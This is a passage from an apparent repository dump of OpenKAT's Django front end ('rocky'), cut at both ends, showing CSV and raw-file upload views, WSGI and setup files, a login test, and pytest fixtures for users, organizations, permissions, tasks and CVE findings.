\"\n        \"'network' is supported \"\n    ),\n    _(\n        \"Clearance levels can be controlled by a column 'clearance' taking numerical values 0, 1, 2, 3, and 4 for \"\n        \"the corresponding clearance level (other values are ignored) \"\n    ),\n]\n\nCLEARANCE_VALUES = [\"0\", \"1\", \"2\", \"3\", \"4\"]\n\n\nclass UploadCSV(OrganizationPermissionRequiredMixin, OrganizationView, FormView):\n    template_name = \"upload_csv.html\"\n    form_class = UploadOOICSVForm\n    permission_required = \"tools.can_scan_organization\"\n    reference_cache: dict[str, Any] = {\"Network\": {\"internet\": Network(name=\"internet\")}}\n    ooi_types: ClassVar[dict[str, Any]] = {\n        \"Hostname\": {\"type\": Hostname},\n        \"URL\": {\"type\": URL},\n        \"Network\": {\"type\": Network, \"default\": \"internet\", \"argument\": \"name\"},\n        \"IPAddressV4\": {\"type\": IPAddressV4},\n        \"IPAddressV6\": {\"type\": IPAddressV6},\n    }\n    skip_properties = (\"object_type\", \"scan_profile\", \"primary_key\")\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        if not self.organization:\n            self.add_error_notification(CSV_ERRORS[\"no_org\"])\n\n    def get_success_url(self):\n        return reverse_lazy(\"ooi_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Objects\")},\n            {\n                \"url\": reverse(\"upload_csv\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Upload CSV\"),\n            },\n        ]\n        context[\"criteria\"] = CSV_CRITERIA\n        return context\n\n    def get_or_create_reference(self, ooi_type_name: str, value: str | None) -> OOI:\n        ooi_type_name = next(filter(lambda x: x.casefold() == ooi_type_name.casefold(), self.ooi_types.keys()))\n\n        # get from cache\n        cache = self.reference_cache.setdefault(ooi_type_name, {})\n        if value in cache:\n            return cache[value]\n\n        ooi_type = self.ooi_types[ooi_type_name][\"type\"]\n\n        # set default value if any\n        if value is None:\n            value = self.ooi_types[ooi_type_name].get(\"default\")\n\n        # create the ooi\n        kwargs = {self.ooi_types[ooi_type_name][\"argument\"]: value}\n        ooi = ooi_type(**kwargs)\n        cache[value] = ooi\n\n        return ooi\n\n    def get_ooi_from_csv(self, ooi_type_name: str, values: dict[str, str]) -> tuple[OOI, int | None, list[Declaration]]:\n        key = \"clearance\"\n        level = int(values[key]) if key in values and values[key] in CLEARANCE_VALUES else None\n        ooi_type = self.ooi_types[ooi_type_name][\"type\"]\n        ooi_fields = [\n            (field, model_field.annotation == Reference, model_field.is_required())\n            for field, model_field in ooi_type.model_fields.items()\n            if field not in self.skip_properties\n        ]\n\n        kwargs: dict[str, Any] = {}\n        declarations = []\n        for field, is_reference, required in ooi_fields:\n            if is_reference and required:\n                try:\n                    referenced_ooi = self.get_or_create_reference(field, values.get(field))\n                    declarations.append(Declaration(ooi=referenced_ooi, valid_time=datetime.now(timezone.utc)))\n                    kwargs[field] = referenced_ooi.reference\n                except IndexError:\n                    if required:\n                        raise IndexError(\n                            f\"Required referenced primary-key field '{field}' not set \"\n                            f\"and no default present for Type '{ooi_type_name}'.\"\n                        )\n                    else:\n                        kwargs[field] = None\n            else:\n                kwargs[field] = values.get(field)\n\n        return ooi_type(**kwargs), level, declarations\n\n    def form_valid(self, form):\n        if not self.process_csv(form):\n            return redirect(\"upload_csv\", organization_code=self.organization.code)\n        return super().form_valid(form)\n\n    def add_error_notification(self, error_message):\n        messages.add_message(self.request, messages.ERROR, error_message)\n        return False\n\n    def add_success_notification(self, success_message):\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n        return True\n\n    def process_csv(self, form):\n        object_type = form.cleaned_data[\"object_type\"]\n        csv_file = form.cleaned_data[\"csv_file\"]\n\n        csv_raw_data = csv_file.read()\n\n        task_id = uuid4()\n        self.bytes_client.add_manual_proof(task_id, csv_raw_data, manual_mime_types={\"manual/csv\"})\n\n        csv_data = io.StringIO(csv_raw_data.decode(\"UTF-8\"))\n        rows_with_error = []\n        oois = []\n        try:\n            for row_number, row in enumerate(csv.DictReader(csv_data, delimiter=\",\", quotechar='\"'), start=1):\n                if not row:\n                    continue  # skip empty lines\n                try:\n                    ooi, level, declarations = self.get_ooi_from_csv(object_type, row)\n                    if declarations:\n                        oois.extend(declarations)\n                    oois.append(Declaration(ooi=ooi, valid_time=datetime.now(timezone.utc), task_id=task_id))\n                    if isinstance(level, int):\n                        self.raise_clearance_level(ooi.reference, level)\n                except ValidationError:\n                    rows_with_error.append(row_number)\n\n            if rows_with_error:\n                message = _(\"Object(s) could not be created for row number(s): \") + \", \".join(map(str, rows_with_error))\n                return self.add_error_notification(message)\n\n            self.add_success_notification(_(\"Object(s) successfully added.\"))\n        except (csv.Error, IndexError):\n            return self.add_error_notification(CSV_ERRORS[\"csv_error\"])\n\n        try:\n            self.octopoes_api_connector.save_many_declarations(oois, sync=True)\n        except HTTPError:\n            return self.add_error_notification(\"Failed to save data from the CSV\")\n"
  },
  {
    "path": "rocky/rocky/views/upload_raw.py",
    "content": "from datetime import datetime, timezone\nfrom urllib.parse import unquote\n\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.urls.base import reverse_lazy\nfrom django.utils.translation import gettext as _\nfrom django.views.generic.edit import FormView\nfrom httpx import HTTPError, HTTPStatusError\nfrom tools.forms.upload_raw import UploadRawForm\n\nfrom octopoes.models.types import OOI_TYPES\n\n\nclass UploadRaw(OrganizationPermissionRequiredMixin, OrganizationView, FormView):\n    template_name = \"upload_raw.html\"\n    form_class = UploadRawForm\n    permission_required = \"tools.can_scan_organization\"\n\n    def get_initial(self):\n        \"\"\"\n        Returns the initial data to use for forms on this view.\n        \"\"\"\n        initial = super().get_initial()\n        if \"mime_type\" in self.kwargs:\n            initial[\"mime_types\"] = unquote(self.kwargs[\"mime_type\"])\n        elif \"mime_types\" in self.kwargs:\n            initial[\"mime_types\"] = unquote(self.kwargs[\"mime_types\"])\n        return initial\n\n    def get_success_url(self):\n        return reverse_lazy(\"ooi_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Objects\")},\n            {\n                \"url\": reverse(\"upload_raw\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Upload raw\"),\n            },\n        ]\n        return context\n\n    def form_valid(self, form):\n        if not self.process_raw(form):\n            return redirect(\"upload_raw\", organization_code=self.organization.code)\n        return super().form_valid(form)\n\n    def add_error_notification(self, error_message):\n        messages.add_message(self.request, messages.ERROR, error_message)\n        return False\n\n    def add_success_notification(self, success_message):\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n        return True\n\n    def process_raw(self, form):\n        raw_file = form.cleaned_data[\"raw_file\"]\n        mime_types = form.cleaned_data[\"mime_types\"]\n        input_ooi = form.cleaned_data[\"ooi\"]\n        valid_time = None\n        if \"date\" in form.cleaned_data:\n            valid_time = form.cleaned_data[\"date\"].replace(tzinfo=timezone.utc)\n\n        try:\n            self.bytes_client.upload_raw(\n                raw_file.read(),\n                mime_types,\n                input_ooi=input_ooi.primary_key,\n                input_dict=input_ooi.serialize(),\n                valid_time=valid_time,\n            )\n        except HTTPStatusError as exc:\n            return self.add_error_notification(\n                _(\"Raw file could not be uploaded to Bytes: status code %d\") % exc.response.status_code\n            )\n        except HTTPError as exc:\n            return self.add_error_notification(_(\"Raw file could not be uploaded to Bytes: %s\") % str(exc))\n        else:\n            self.add_success_notification(_(\"Raw file successfully added.\"))\n\n    def get_form_kwargs(self):\n        kwargs = {\"connector\": self.octopoes_api_connector, \"ooi_list\": self.get_ooi_options()}\n        kwargs.update(super().get_form_kwargs())\n\n        if \"ooi_class\" in kwargs:\n            del kwargs[\"ooi_class\"]\n\n        observed_at = self.request.GET.get(\"observed_at\")\n        if observed_at:\n            kwargs[\"observed_at\"] = observed_at\n\n        return kwargs\n\n    def get_ooi_options(self) -> list[tuple[str, str]]:\n        objects = self.octopoes_api_connector.list_objects(\n            set(OOI_TYPES.values()), valid_time=datetime.now(timezone.utc)\n        ).items\n\n        options = [(o.primary_key, o.get_ooi_type()) for o in objects]\n\n        return options\n"
  },
  {
    "path": "rocky/rocky/wsgi.py",
    "content": "\"\"\"\nWSGI config for rocky project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/\n\"\"\"\n\nimport os\n\nfrom django.core.wsgi import get_wsgi_application\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"rocky.settings\")\n\napplication = get_wsgi_application()\n"
  },
  {
    "path": "rocky/setup.py",
    "content": "from setuptools import find_packages, setup\n\nfrom rocky.version import __version__\n\nsetup(\n    name=\"rocky\",\n    version=__version__,\n    author=\"MinVWS\",\n    url=\"https://openkat.nl/\",\n    packages=find_packages(exclude=\"tests\"),\n    scripts=[\"manage.py\"],\n    include_package_data=True,\n)\n"
  },
  {
    "path": "rocky/tests/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/account/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/account/test_login.py",
    "content": "from account.views import LoginRockyView\nfrom django.contrib.auth.middleware import AuthenticationMiddleware\nfrom django.contrib.sessions.middleware import SessionMiddleware\nfrom django.test import Client\nfrom pytest_django.asserts import assertContains\n\n\ndef test_login_view(rf, clientuser):\n    request = rf.get(\"login\")\n\n    request = SessionMiddleware(lambda r: r)(request)\n    request = AuthenticationMiddleware(lambda r: r)(request)\n\n    response = LoginRockyView.as_view()(request)\n    assert response.status_code == 200\n    assertContains(response, \"Login\")\n    assertContains(response, \"Email\")\n    assertContains(response, \"Password\")\n    assertContains(response, \"csrfmiddlewaretoken\")\n\n\ndef test_login(superuser):\n    client = Client()\n\n    response = client.post(\n        \"/en/login/\",\n        {\n            \"auth-username\": \"wrong@openkat.nl\",\n            \"auth-password\": \"TestTest123!!\",\n            \"login_rocky_view-current_step\": \"auth\",\n        },\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Error\")\n    assertContains(response, \"Please enter a correct email address and password.\")\n\n    response = client.post(\n        \"/en/login/\",\n        {\"auth-username\": \"admin@openkat.nl\", \"auth-password\": \"Test!!\", \"login_rocky_view-current_step\": \"auth\"},\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Login\")\n    assertContains(response, \"Error\")\n    assertContains(response, \"Please enter a correct email address and password.\")\n\n    response = client.post(\n        \"/en/login/\",\n        {\"auth-username\": superuser.email, \"auth-password\": \"SuperSuper123!!\", \"login_rocky_view-current_step\": \"auth\"},\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Explanation:\")\n    assertContains(response, \"Insert the token generated by your token authenticator app.\")\n    assertContains(response, \"Submit\")\n\n    response = client.post(\"/en/login/\", {\"token-otp_token\": \"123456\", \"login_rocky_view-current_step\": \"token\"})\n\n    assert response.status_code == 200\n\n    assert not client.login(email=\"wrong@openkat.nl\", password=\"TestTest123!!\")\n    assert not client.login(email=\"admin@openkat.nl\", password=\"Test!!\")\n    assert client.login(email=superuser.email, password=\"SuperSuper123!!\")\n"
  },
  {
    "path": "rocky/tests/conftest.py",
    "content": "import binascii\nimport json\nimport logging\nimport uuid\nfrom collections.abc import Iterator\nfrom datetime import datetime, timezone\nfrom ipaddress import IPv4Address, IPv6Address\nfrom os import urandom\nfrom pathlib import Path\nfrom unittest.mock import MagicMock, patch\nfrom uuid import UUID\n\nimport pytest\nimport structlog\nfrom crisis_room.models import Dashboard, DashboardItem\nfrom crisis_room.views import DashboardItemView, DashboardService\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group, Permission\nfrom django.contrib.messages.middleware import MessageMiddleware\nfrom django.contrib.sessions.middleware import SessionMiddleware\nfrom django.utils.translation import activate, deactivate\nfrom django_otp import DEVICE_ID_SESSION_KEY\nfrom django_otp.middleware import OTPMiddleware\nfrom httpx import Response\nfrom katalogus.client import Boefje, parse_plugin\nfrom reports.report_types.findings_report.report import FindingsReport\nfrom tools.enums import SCAN_LEVEL\nfrom tools.models import GROUP_ADMIN, GROUP_CLIENT, GROUP_REDTEAM, Indemnification, Organization, OrganizationMember\n\nfrom octopoes.config.settings import (\n    DEFAULT_LIMIT,\n    DEFAULT_OFFSET,\n    DEFAULT_SCAN_LEVEL_FILTER,\n    DEFAULT_SCAN_PROFILE_TYPE_FILTER,\n)\nfrom octopoes.models import OOI, DeclaredScanProfile, EmptyScanProfile, Reference, ScanLevel, ScanProfileType\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding, KATFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, Protocol\nfrom octopoes.models.ooi.reports import AssetReport, HydratedReport, Report, ReportData, ReportRecipe\nfrom octopoes.models.ooi.service import IPService, Service, TLSCipher\nfrom octopoes.models.ooi.software import Software\nfrom octopoes.models.ooi.web import URL, SecurityTXT, Website\nfrom octopoes.models.origin import Origin, OriginType\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.models.tree import ReferenceTree\nfrom octopoes.models.types import OOIType\nfrom rocky.health import ServiceHealth\nfrom rocky.scheduler import PaginatedTasksResponse, ReportTask, ScheduleResponse, Task, TaskStatus\n\nLANG_LIST = [code for code, _ in settings.LANGUAGES]\n\n# Quiet faker locale messages down in tests.\nlogging.getLogger(\"faker\").setLevel(logging.INFO)\n\n\n# Copied from https://www.structlog.org/en/stable/testing.html\n@pytest.fixture\ndef log_output():\n    return structlog.testing.LogCapture()\n\n\n@pytest.fixture(autouse=True)\ndef fixture_configure_structlog(log_output):\n    structlog.configure(processors=[log_output])\n\n\n@pytest.fixture\ndef valid_time():\n    return datetime.now(timezone.utc)\n\n\n@pytest.fixture(params=LANG_LIST)\ndef current_language(request):\n    return request.param\n\n\n@pytest.fixture\ndef language(current_language):\n    activate(current_language)\n    yield current_language\n    deactivate()\n\n\ndef create_user(django_user_model, email, password, name, device_name, superuser=False):\n    user = django_user_model.objects.create_user(email=email, password=password)\n    user.full_name = name\n    user.is_verified = lambda: True\n    user.is_superuser = superuser\n    user.save()\n    device = user.staticdevice_set.create(name=device_name)\n    device.token_set.create(token=binascii.hexlify(urandom(8)).decode())\n    return user\n\n\ndef create_organization(name, organization_code):\n    katalogus_client = \"katalogus.client.KATalogusClient\"\n    octopoes_node = \"rocky.signals.OctopoesAPIConnector\"\n    scheduler_client = \"crisis_room.management.commands.dashboards.scheduler_client\"\n    bytes_client = \"crisis_room.management.commands.dashboards.get_bytes_client\"\n\n    with patch(katalogus_client), patch(octopoes_node), patch(scheduler_client), patch(bytes_client):\n        return Organization.objects.create(name=name, code=organization_code)\n\n\ndef create_member(user, organization):\n    Indemnification.objects.create(user=user, organization=organization)\n\n    return OrganizationMember.objects.create(\n        user=user,\n        organization=organization,\n        status=OrganizationMember.STATUSES.ACTIVE,\n        blocked=False,\n        trusted_clearance_level=4,\n        acknowledged_clearance_level=4,\n        onboarded=False,\n    )\n\n\ndef add_admin_group_permissions(member):\n    group = Group.objects.get(name=GROUP_ADMIN)\n    member.groups.add(group)\n    admin_permissions = [\n        Permission.objects.get(codename=\"view_organization\").id,\n        Permission.objects.get(codename=\"view_organizationmember\").id,\n        Permission.objects.get(codename=\"add_organizationmember\").id,\n        Permission.objects.get(codename=\"change_organization\").id,\n        Permission.objects.get(codename=\"change_organizationmember\").id,\n        Permission.objects.get(codename=\"can_delete_oois\").id,\n        Permission.objects.get(codename=\"add_indemnification\").id,\n        Permission.objects.get(codename=\"can_scan_organization\").id,\n        Permission.objects.get(codename=\"add_dashboard\").id,\n        Permission.objects.get(codename=\"change_dashboard\").id,\n        Permission.objects.get(codename=\"delete_dashboard\").id,\n        Permission.objects.get(codename=\"add_dashboarditem\").id,\n        Permission.objects.get(codename=\"change_dashboarditem\").id,\n        Permission.objects.get(codename=\"delete_dashboarditem\").id,\n        Permission.objects.get(codename=\"change_dashboarditem_position\").id,\n    ]\n    group.permissions.set(admin_permissions)\n\n\ndef add_redteam_group_permissions(member):\n    group = Group.objects.get(name=GROUP_REDTEAM)\n    member.groups.add(group)\n\n    redteam_permissions = [\n        Permission.objects.get(codename=\"can_scan_organization\").id,\n        Permission.objects.get(codename=\"can_enable_disable_boefje\").id,\n        Permission.objects.get(codename=\"can_set_clearance_level\").id,\n        Permission.objects.get(codename=\"can_delete_oois\").id,\n        Permission.objects.get(codename=\"can_mute_findings\").id,\n        Permission.objects.get(codename=\"can_view_katalogus_settings\").id,\n        Permission.objects.get(codename=\"can_set_katalogus_settings\").id,\n        Permission.objects.get(codename=\"add_dashboard\").id,\n        Permission.objects.get(codename=\"change_dashboard\").id,\n        Permission.objects.get(codename=\"delete_dashboard\").id,\n        Permission.objects.get(codename=\"add_dashboarditem\").id,\n        Permission.objects.get(codename=\"change_dashboarditem\").id,\n        Permission.objects.get(codename=\"delete_dashboarditem\").id,\n        Permission.objects.get(codename=\"change_dashboarditem_position\").id,\n    ]\n    group.permissions.set(redteam_permissions)\n\n\ndef add_client_group_permissions(member):\n    group = Group.objects.get(name=GROUP_CLIENT)\n    member.groups.add(group)\n    client_permissions = [Permission.objects.get(codename=\"can_scan_organization\").id]\n    group.permissions.set(client_permissions)\n    member.user.user_permissions.set(client_permissions)\n\n\n@pytest.fixture(autouse=True)\ndef seed_groups(db):\n    Group.objects.get_or_create(name=GROUP_CLIENT)\n    Group.objects.get_or_create(name=GROUP_REDTEAM)\n    Group.objects.get_or_create(name=GROUP_ADMIN)\n\n\n@pytest.fixture\ndef organization():\n    return create_organization(\"Test Organization\", \"test\")\n\n\n@pytest.fixture\ndef organization_b():\n    return create_organization(\"OrganizationB\", \"org_b\")\n\n\n@pytest.fixture\ndef superuser(django_user_model):\n    return create_user(\n        django_user_model, \"superuser@openkat.nl\", \"SuperSuper123!!\", \"Superuser name\", \"default\", superuser=True\n    )\n\n\n@pytest.fixture\ndef superuser_b(django_user_model):\n    return create_user(\n        django_user_model, \"superuserB@openkat.nl\", \"SuperBSuperB123!!\", \"Superuser B name\", \"default_b\", superuser=True\n    )\n\n\n@pytest.fixture\ndef superuser_member(superuser, organization):\n    return create_member(superuser, organization)\n\n\n@pytest.fixture\ndef superuser_member_b(superuser_b, organization_b):\n    return create_member(superuser_b, organization_b)\n\n\n@pytest.fixture\ndef adminuser(django_user_model):\n    return create_user(django_user_model, \"admin@openkat.nl\", \"AdminAdmin123!!\", \"Admin name\", \"default_admin\")\n\n\n@pytest.fixture\ndef adminuser_b(django_user_model):\n    return create_user(django_user_model, \"adminB@openkat.nl\", \"AdminBAdminB123!!\", \"Admin B name\", \"default_admin_b\")\n\n\n@pytest.fixture\ndef admin_member(adminuser, organization):\n    member = create_member(adminuser, organization)\n    adminuser.user_permissions.add(Permission.objects.get(codename=\"view_organization\"))\n    add_admin_group_permissions(member)\n    return member\n\n\n@pytest.fixture\ndef admin_member_b(adminuser_b, organization_b):\n    member = create_member(adminuser_b, organization_b)\n    adminuser_b.user_permissions.add(Permission.objects.get(codename=\"view_organization\"))\n    add_admin_group_permissions(member)\n    return member\n\n\n@pytest.fixture\ndef redteamuser(django_user_model):\n    return create_user(\n        django_user_model, \"redteamer@openkat.nl\", \"RedteamRedteam123!!\", \"Redteam name\", \"default_redteam\"\n    )\n\n\n@pytest.fixture\ndef redteam_member(redteamuser, organization):\n    member = create_member(redteamuser, organization)\n    add_redteam_group_permissions(member)\n    return member\n\n\n@pytest.fixture\ndef clientuser(django_user_model):\n    return create_user(django_user_model, \"client@openkat.nl\", \"ClientClient123!!\", \"Client name\", \"default_client\")\n\n\n@pytest.fixture\ndef clientuser_b(django_user_model):\n    return create_user(\n        django_user_model, \"clientB@openkat.nl\", \"ClientBClientB123!!\", \"Client B name\", \"default_client_b\"\n    )\n\n\n@pytest.fixture\ndef client_member(clientuser, organization):\n    member = create_member(clientuser, organization)\n    add_client_group_permissions(member)\n    return member\n\n\n@pytest.fixture\ndef client_member_b(clientuser_b, organization_b):\n    member = create_member(clientuser_b, organization_b)\n    add_client_group_permissions(member)\n    return member\n\n\n@pytest.fixture\ndef client_user_two_organizations(clientuser, organization, organization_b):\n    member = create_member(clientuser, organization)\n    add_client_group_permissions(member)\n    member = create_member(clientuser, organization_b)\n    add_client_group_permissions(member)\n    return clientuser\n\n\n@pytest.fixture\ndef new_member(django_user_model, organization):\n    user = create_user(django_user_model, \"cl1@openkat.nl\", \"TestTest123!!\", \"New user\", \"default_new_user\")\n    member = create_member(user, organization)\n    member.status = OrganizationMember.STATUSES.NEW\n    member.save()\n    return member\n\n\n@pytest.fixture\ndef active_member(django_user_model, organization):\n    user = create_user(django_user_model, \"cl2@openkat.nl\", \"TestTest123!!\", \"Active user\", \"default_active_user\")\n    member = create_member(user, organization)\n    member.status = OrganizationMember.STATUSES.ACTIVE\n    member.save()\n    return member\n\n\n@pytest.fixture\ndef blocked_member(django_user_model, organization):\n    user = create_user(django_user_model, \"cl3@openkat.nl\", \"TestTest123!!\", \"Blocked user\", \"default_blocked_user\")\n    member = create_member(user, organization)\n    member.status = OrganizationMember.STATUSES.ACTIVE\n    member.blocked = True\n    member.save()\n    return member\n\n\n@pytest.fixture\ndef mock_models_katalogus(mocker):\n    return mocker.patch(\"katalogus.client.get_katalogus_client\")\n\n\n@pytest.fixture\ndef mock_bytes_client(mocker):\n    return mocker.patch(\"rocky.bytes_client.BytesClient\")\n\n\n@pytest.fixture\ndef mock_models_octopoes(mocker):\n    return mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n\n\n@pytest.fixture\ndef mock_organization_view_octopoes(mocker):\n    return mocker.patch(\"account.mixins.OctopoesAPIConnector\")\n\n\n@pytest.fixture\ndef mock_crisis_room_octopoes(mocker):\n    return mocker.patch(\"crisis_room.views.OctopoesAPIConnector\")\n\n\n@pytest.fixture\ndef task() -> Task:\n    return Task.model_validate(\n        {\n            \"id\": \"1b20f85f-63d5-4baa-be9e-f3f19d6e3fae\",\n            \"hash\": \"19ed51514b37d42f79c5e95469956b05\",\n            \"scheduler_id\": \"boefje-test\",\n            \"schedule_id\": None,\n            \"organisation\": \"test\",\n            \"type\": \"boefje\",\n            \"priority\": 1,\n            \"data\": {\n                \"id\": \"1b20f85f63d54baabe9ef3f19d6e3fae\",\n                \"boefje\": {\n                    \"id\": \"test-boefje\",\n                    \"name\": \"TestBoefje\",\n                    \"description\": \"Fetch the DNS record(s) of a hostname\",\n                    \"version\": None,\n                    \"scan_level\": 1,\n                    \"consumes\": [\"Hostname\"],\n                    \"produces\": [\n                        \"DNSNSRecord\",\n                        \"DNSARecord\",\n                        \"DNSCNAMERecord\",\n                        \"DNSMXRecord\",\n                        \"DNSZone\",\n                        \"Hostname\",\n                        \"DNSAAAARecord\",\n                        \"IPAddressV4\",\n                        \"DNSSOARecord\",\n                        \"DNSTXTRecord\",\n                        \"IPAddressV6\",\n                        \"Network\",\n                        \"NXDOMAIN\",\n                    ],\n                },\n                \"input_ooi\": \"Hostname|internet|mispo.es\",\n                \"organization\": \"test\",\n            },\n            \"status\": \"completed\",\n            \"created_at\": \"2022-08-09 11:53:41.378292\",\n            \"modified_at\": \"2022-08-09 11:54:21.002838\",\n        }\n    )\n\n\n@pytest.fixture\ndef bytes_raw_metas():\n    return [\n        {\n            \"id\": \"85c01c8c-c0bf-4fe8-bda5-abdf2d03117c\",\n            \"boefje_meta\": {\n                \"id\": \"6dea9549-c05d-42c9-b55b-8ad54cb9e413\",\n                \"started_at\": \"2023-11-01T15:02:46.764085+00:00\",\n                \"ended_at\": \"2023-11-01T15:02:47.276154+00:00\",\n                \"boefje\": {\"id\": \"dns-sec\", \"version\": None},\n                \"input_ooi\": \"Hostname|internet|mispoes.nl\",\n                \"arguments\": {},\n                \"organization\": \"test\",\n                \"runnable_hash\": \"ed871e9731f3d528ea92ca23c8eb18f38ac47e6d89a634b654a073fc2ca5fb50\",\n                \"environment\": {},\n            },\n            \"mime_types\": [\n                {\"value\": \"boefje/dns-sec\"},\n                {\"value\": \"boefje/dns-sec-c90404f60aeacf9b254abbd250bd3214e3b1a65b5a883dcbc\"},\n                {\"value\": \"dns-sec\"},\n            ],\n            \"secure_hash\": \"sha512:23e40f3e0c4381b89a296a5708a3c7a2dff369dc272b5cbce584d0fd7e17b1a5ebb1a947\"\n            \"be36ed19e8930116a46be2f4b450353b786696f83c328f197a8ae741\",\n            \"signing_provider_url\": None,\n            \"hash_retrieval_link\": \"a9b261d1-e981-42db-bd92-ee0c36372678\",\n        }\n    ]\n\n\n@pytest.fixture\ndef bytes_get_raw():\n    byte_string = \";; Number of trusted keys: 2\\\\n;; Chasing: mispoes.nl.\"\n    \" A\\\\n\\\\n\\\\nDNSSEC Trust tree:\\\\nantagonist.nl. (A)\\\\n|---mispoes.nl. (DNSKEY keytag: 47684 alg: 13 flags:\"\n    \" 257)\\\\n    |---mispoes.nl. (DS keytag: 47684 digest type: 2)\\\\n        \"\n    \"|---nl. (DNSKEY keytag: 52707 alg: 13 flags: 256)\\\\n            \"\n    \"|---nl. (DNSKEY keytag: 17153 alg: 13 flags: 257)\\\\n            \"\n    \"|---nl. (DS keytag: 17153 digest type: 2)\\\\n                \"\n    \"|---. (DNSKEY keytag: 46780 alg: 8 flags: 256)\\\\n                    \"\n    b\"|---. (DNSKEY keytag: 20326 alg: 8 flags: 257)\\\\n;; Chase successful\\\\n\"\n\n    return byte_string.encode()\n\n\n@pytest.fixture\ndef lazy_task_list_with_boefje(task) -> MagicMock:\n    mock = MagicMock()\n    mock.__getitem__.return_value = [task]\n    mock.count.return_value = 1\n    return mock\n\n\n@pytest.fixture\ndef network() -> Network:\n    return Network(\n        name=\"testnetwork\",\n        scan_profile=DeclaredScanProfile(reference=Reference.from_str(\"Network|testnetwork\"), level=ScanLevel.L1),\n    )\n\n\n@pytest.fixture\ndef url(network) -> URL:\n    return URL(\n        scan_profile=DeclaredScanProfile(\n            scan_profile_type=\"declared\", reference=Reference(\"URL|testnetwork|http://example.com/\"), level=ScanLevel.L1\n        ),\n        network=network.reference,\n        raw=\"http://example.com\",\n        web_url=Reference(\"HostnameHTTPURL|http|testnetwork|example.com|80|/\"),\n    )\n\n\n@pytest.fixture\ndef ipaddressv4(network) -> IPAddressV4:\n    return IPAddressV4(network=network.reference, address=IPv4Address(\"192.0.2.1\"))\n\n\n@pytest.fixture\ndef ipaddressv6(network) -> IPAddressV6:\n    return IPAddressV6(network=network.reference, address=IPv6Address(\"2001:db8::1\"))\n\n\n@pytest.fixture\ndef ip_port(ipaddressv4) -> IPPort:\n    return IPPort(address=ipaddressv4.reference, port=80, protocol=Protocol.TCP)\n\n\n@pytest.fixture\ndef ip_port_443(ipaddressv4) -> IPPort:\n    return IPPort(address=ipaddressv4.reference, port=443, protocol=Protocol.TCP)\n\n\n@pytest.fixture\ndef hostname(network) -> Hostname:\n    return Hostname(name=\"example.com\", network=network.reference)\n\n\n@pytest.fixture\ndef website(ip_service: IPService, hostname: Hostname):\n    return Website(ip_service=ip_service.reference, hostname=hostname.reference)\n\n\n@pytest.fixture\ndef security_txt(website: Website, url: URL):\n    return SecurityTXT(website=website.reference, url=url.reference, security_txt=\"example\")\n\n\n@pytest.fixture\ndef service() -> Service:\n    return Service(name=\"domain\")\n\n\n@pytest.fixture\ndef ip_service(ip_port: IPPort, service: Service):\n    return IPService(ip_port=ip_port.reference, service=service.reference)\n\n\n@pytest.fixture\ndef software() -> Software:\n    return Software(name=\"DICOM\")\n\n\n@pytest.fixture\ndef cve_finding_type_2023_38408() -> CVEFindingType:\n    return CVEFindingType(\n        id=\"CVE-2023-38408\",\n        description=\"The PKCS#11 feature in ssh-agent in OpenSSH before 9.3p2 has an insufficiently \"\n        \"trustworthy search path, leading to remote code execution if an agent is forwarded to an \"\n        \"attacker-controlled system. \",\n        source=\"https://cve.circl.lu/cve/CVE-2023-38408\",\n        risk_score=9.8,\n        risk_severity=RiskLevelSeverity.CRITICAL,\n    )\n\n\n@pytest.fixture\ndef cve_finding_type_2019_8331() -> CVEFindingType:\n    return CVEFindingType(\n        id=\"CVE-2019-8331\",\n        description=\"In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible in the tooltip or \"\n        \"popover data-template attribute.\",\n        source=\"https://cve.circl.lu/cve/CVE-2019-8331\",\n        risk_score=6.1,\n        risk_severity=RiskLevelSeverity.MEDIUM,\n    )\n\n\n@pytest.fixture\ndef cve_finding_type_2019_2019() -> CVEFindingType:\n    return CVEFindingType(\n        id=\"CVE-2019-2019\",\n        description=\"In ce_t4t_data_cback of ce_t4t.cc, there is a possible out-of-bound read due to a missing bounds \"\n        \"check. This could lead to local information disclosure with no additional execution privileges \"\n        \"needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-7.0 \"\n        \"Android-7.1.1 Android-7.1.2 Android-8.0 Android-8.1 Android-9Android ID: A-115635871\",\n        source=\"https://cve.circl.lu/cve/CVE-2019-2019\",\n        risk_score=6.5,\n        risk_severity=RiskLevelSeverity.MEDIUM,\n    )\n\n\n@pytest.fixture\ndef cve_finding_2023_38408() -> Finding:\n    return Finding(\n        finding_type=Reference.from_str(\"CVEFindingType|CVE-2023-38408\"),\n        ooi=Reference.from_str(\n            